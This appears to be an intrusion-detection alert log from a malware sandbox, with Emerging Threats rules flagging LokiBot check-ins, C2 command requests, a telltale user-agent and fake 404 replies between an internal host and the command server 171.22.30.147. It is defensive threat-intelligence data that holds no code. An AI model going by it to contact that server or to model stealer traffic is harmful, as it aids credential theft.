192.168.2.3171.22.30.14749908802021641 01/05/23-08:53:13.214132	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49908	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749812802825766 01/05/23-08:52:44.412618	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49812	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750055802024313 01/05/23-08:53:56.183544	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50055	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750034802825766 01/05/23-08:53:50.478539	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50034	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497622025483 01/05/23-08:52:28.957388	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49762	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380497432025483 01/05/23-08:52:23.546435	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49743	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749917802021641 01/05/23-08:53:15.635846	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49917	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497842025483 01/05/23-08:52:36.757244	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49784	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380499502025483 01/05/23-08:53:24.713779	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49950	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380497212025483 01/05/23-08:52:17.311222	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49721	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749865802024313 01/05/23-08:53:00.234414	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49865	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749867802025381 01/05/23-08:53:00.773467	TCP	2025381	ET TROJAN LokiBot Checkin	49867	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749954802024318 01/05/23-08:53:25.726692	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49954	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749894802021641 01/05/23-08:53:08.006895	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49894	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749741802024313 01/05/23-08:52:22.916909	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49741	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749954802024313 01/05/23-08:53:25.726692	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49954	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749948802024318 01/05/23-08:53:24.079081	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49948	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750015802021641 01/05/23-08:53:43.993137	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50015	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749778802025381 01/05/23-08:52:34.958959	TCP	2025381	ET TROJAN LokiBot Checkin	49778	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749865802024318 01/05/23-08:53:00.234414	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49865	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749741802024318 01/05/23-08:52:22.916909	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49741	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749977802021641 01/05/23-08:53:33.899852	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49977	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749996802825766 01/05/23-08:53:38.933239	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49996	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499722025483 01/05/23-08:53:32.654908	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49972	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749921802025381 01/05/23-08:53:16.794242	TCP	2025381	ET TROJAN LokiBot Checkin	49921	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498142025483 01/05/23-08:52:45.034058	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49814	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749703802025381 01/05/23-08:52:08.565296	TCP	2025381	ET TROJAN LokiBot Checkin	49703	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750031802025381 01/05/23-08:53:49.661487	TCP	2025381	ET TROJAN LokiBot Checkin	50031	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749967802825766 01/05/23-08:53:31.230819	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49967	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749789802825766 01/05/23-08:52:38.076275	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49789	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750012802024318 01/05/23-08:53:43.190304	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50012	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749928802024318 01/05/23-08:53:18.678448	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49928	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499412025483 01/05/23-08:53:22.247388	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49941	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750074802825766 01/05/23-08:54:01.233569	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50074	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749928802024313 01/05/23-08:53:18.678448	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49928	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749924802825766 01/05/23-08:53:17.587003	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49924	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749727802024318 01/05/23-08:52:18.985108	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49727	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497562025483 01/05/23-08:52:27.312696	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49756	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380498922025483 01/05/23-08:53:07.550899	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49892	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749746802825766 01/05/23-08:52:24.299560	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49746	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497282025483 01/05/23-08:52:19.353553	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49728	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749822802021641 01/05/23-08:52:47.112264	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49822	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750055802024318 01/05/23-08:53:56.183544	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50055	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750031802825766 01/05/23-08:53:49.661487	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50031	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749970802025381 01/05/23-08:53:32.043326	TCP	2025381	ET TROJAN LokiBot Checkin	49970	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750035802024313 01/05/23-08:53:50.741604	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50035	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749993802025381 01/05/23-08:53:38.145026	TCP	2025381	ET TROJAN LokiBot Checkin	49993	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749845802021641 01/05/23-08:52:54.838950	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49845	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749707802024318 01/05/23-08:52:10.342729	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49707	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749810802024313 01/05/23-08:52:43.863274	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49810	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749707802024313 01/05/23-08:52:10.342729	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49707	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749810802024318 01/05/23-08:52:43.863274	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49810	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749750802021641 01/05/23-08:52:25.450968	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49750	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749792802025381 01/05/23-08:52:38.887901	TCP	2025381	ET TROJAN LokiBot Checkin	49792	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750012802024313 01/05/23-08:53:43.190304	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50012	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749833802024313 01/05/23-08:52:50.090304	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49833	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749951802024318 01/05/23-08:53:24.927407	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49951	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749891802021641 01/05/23-08:53:07.205477	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49891	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750047802021641 01/05/23-08:53:54.007519	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50047	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749796802024313 01/05/23-08:52:39.986568	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49796	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749773802024313 01/05/23-08:52:31.909319	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49773	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749924802025381 01/05/23-08:53:17.587003	TCP	2025381	ET TROJAN LokiBot Checkin	49924	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749746802025381 01/05/23-08:52:24.299560	TCP	2025381	ET TROJAN LokiBot Checkin	49746	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749833802024318 01/05/23-08:52:50.090304	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49833	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500682025483 01/05/23-08:53:59.729426	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50068	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749887802025381 01/05/23-08:53:06.117016	TCP	2025381	ET TROJAN LokiBot Checkin	49887	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749974802024318 01/05/23-08:53:33.106432	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49974	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499792025483 01/05/23-08:53:34.509731	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49979	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749773802024318 01/05/23-08:52:31.909319	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49773	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498422025483 01/05/23-08:52:54.095459	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49842	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749951802024313 01/05/23-08:53:24.927407	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49951	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749993802825766 01/05/23-08:53:38.145026	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49993	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749974802024313 01/05/23-08:53:33.106432	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49974	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749796802024318 01/05/23-08:52:39.986568	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49796	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749994802024313 01/05/23-08:53:38.408241	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49994	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749990802825766 01/05/23-08:53:37.383838	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49990	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749852802825766 01/05/23-08:52:56.705137	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49852	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749723802025381 01/05/23-08:52:17.811814	TCP	2025381	ET TROJAN LokiBot Checkin	49723	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500182025483 01/05/23-08:53:45.088343	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50018	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749994802024318 01/05/23-08:53:38.408241	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49994	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749868802021641 01/05/23-08:53:01.029018	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49868	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749908802024313 01/05/23-08:53:13.214132	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49908	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749704802024318 01/05/23-08:52:08.934535	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49704	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750032802024318 01/05/23-08:53:49.938594	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50032	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749908802024318 01/05/23-08:53:13.214132	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49908	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750081802024318 01/05/23-08:54:03.233046	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50081	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750005802825766 01/05/23-08:53:41.297546	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50005	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750032802024313 01/05/23-08:53:49.938594	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50032	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749730802021641 01/05/23-08:52:19.853027	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49730	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749704802024313 01/05/23-08:52:08.934535	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49704	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749747802024318 01/05/23-08:52:24.577114	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49747	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750044802021641 01/05/23-08:53:53.227481	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50044	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750081802024313 01/05/23-08:54:03.233046	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50081	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750015802024318 01/05/23-08:53:43.993137	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50015	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749925802024318 01/05/23-08:53:17.874226	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49925	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749865802021641 01/05/23-08:53:00.234414	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49865	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749888802024318 01/05/23-08:53:06.392338	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49888	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749927802025381 01/05/23-08:53:18.426652	TCP	2025381	ET TROJAN LokiBot Checkin	49927	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749772802025381 01/05/23-08:52:31.644906	TCP	2025381	ET TROJAN LokiBot Checkin	49772	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497932025483 01/05/23-08:52:39.250846	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49793	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749950802025381 01/05/23-08:53:24.624259	TCP	2025381	ET TROJAN LokiBot Checkin	49950	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750015802024313 01/05/23-08:53:43.993137	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50015	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749888802024313 01/05/23-08:53:06.392338	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49888	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749700802025381 01/05/23-08:52:07.351938	TCP	2025381	ET TROJAN LokiBot Checkin	49700	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749971802024313 01/05/23-08:53:32.299331	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49971	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749977802024313 01/05/23-08:53:33.899852	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49977	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749921802825766 01/05/23-08:53:16.794242	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49921	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499632025483 01/05/23-08:53:30.225111	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49963	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380498702025483 01/05/23-08:53:01.650644	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49870	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749971802024318 01/05/23-08:53:32.299331	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49971	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500802025483 01/05/23-08:54:02.938266	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50080	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749743802825766 01/05/23-08:52:23.467755	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49743	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750077802825766 01/05/23-08:54:02.067623	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50077	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749832802825766 01/05/23-08:52:49.809310	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49832	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500022025483 01/05/23-08:53:40.584610	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50002	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380499292025483 01/05/23-08:53:19.030233	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49929	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749937802021641 01/05/23-08:53:21.090422	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49937	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750064802021641 01/05/23-08:53:58.597698	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50064	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750034802025381 01/05/23-08:53:50.478539	TCP	2025381	ET TROJAN LokiBot Checkin	50034	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749848802021641 01/05/23-08:52:55.640788	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49848	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749759802021641 01/05/23-08:52:28.024665	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49759	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750008802825766 01/05/23-08:53:42.094852	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50008	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749819802024318 01/05/23-08:52:46.293306	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49819	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749819802024313 01/05/23-08:52:46.293306	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49819	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750054802825766 01/05/23-08:53:55.890469	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50054	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749779802021641 01/05/23-08:52:35.235559	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49779	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498642025483 01/05/23-08:53:00.058616	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49864	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380497062025483 01/05/23-08:52:09.863839	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49706	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749901802025381 01/05/23-08:53:11.357263	TCP	2025381	ET TROJAN LokiBot Checkin	49901	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500462025483 01/05/23-08:53:53.824439	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50046	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750080802025381 01/05/23-08:54:02.852694	TCP	2025381	ET TROJAN LokiBot Checkin	50080	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749997802024313 01/05/23-08:53:39.208772	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49997	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749729802025381 01/05/23-08:52:19.554519	TCP	2025381	ET TROJAN LokiBot Checkin	49729	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749726802025381 01/05/23-08:52:18.702884	TCP	2025381	ET TROJAN LokiBot Checkin	49726	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749997802024318 01/05/23-08:53:39.208772	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49997	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749858802825766 01/05/23-08:52:58.341182	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49858	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749947802825766 01/05/23-08:53:23.814636	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49947	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500302025483 01/05/23-08:53:49.463564	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50030	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749815802025381 01/05/23-08:52:45.213789	TCP	2025381	ET TROJAN LokiBot Checkin	49815	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749766802825766 01/05/23-08:52:30.012463	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49766	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749855802825766 01/05/23-08:52:57.514506	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49855	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749904802025381 01/05/23-08:53:12.139251	TCP	2025381	ET TROJAN LokiBot Checkin	49904	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499572025483 01/05/23-08:53:26.847761	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49957	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749944802825766 01/05/23-08:53:23.021157	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49944	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749907802025381 01/05/23-08:53:12.956728	TCP	2025381	ET TROJAN LokiBot Checkin	49907	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499352025483 01/05/23-08:53:20.648559	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49935	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749902802024313 01/05/23-08:53:11.610501	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49902	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749813802024313 01/05/23-08:52:44.686594	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49813	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749816802024313 01/05/23-08:52:45.483412	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49816	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750051802825766 01/05/23-08:53:55.100340	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50051	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749818802025381 01/05/23-08:52:46.013246	TCP	2025381	ET TROJAN LokiBot Checkin	49818	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749905802024318 01/05/23-08:53:12.409052	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49905	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750035802024318 01/05/23-08:53:50.741604	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50035	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749769802825766 01/05/23-08:52:30.825016	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49769	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499132025483 01/05/23-08:53:14.676236	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49913	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749724802024313 01/05/23-08:52:18.098497	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49724	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749905802024313 01/05/23-08:53:12.409052	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49905	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750011802025381 01/05/23-08:53:42.925761	TCP	2025381	ET TROJAN LokiBot Checkin	50011	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749753802021641 01/05/23-08:52:26.326305	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49753	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749727802024313 01/05/23-08:52:18.985108	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49727	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749813802024318 01/05/23-08:52:44.686594	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49813	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750067802021641 01/05/23-08:53:59.373237	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50067	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749724802024318 01/05/23-08:52:18.098497	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49724	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749902802024318 01/05/23-08:53:11.610501	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49902	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749842802021641 01/05/23-08:52:54.011182	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49842	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750038802024318 01/05/23-08:53:51.593310	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50038	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749884802025381 01/05/23-08:53:05.293982	TCP	2025381	ET TROJAN LokiBot Checkin	49884	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749973802025381 01/05/23-08:53:32.829653	TCP	2025381	ET TROJAN LokiBot Checkin	49973	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750038802024313 01/05/23-08:53:51.593310	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50038	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749931802021641 01/05/23-08:53:19.484274	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49931	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500742025483 01/05/23-08:54:01.312985	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50074	171.22.30.147	192.168.2.3
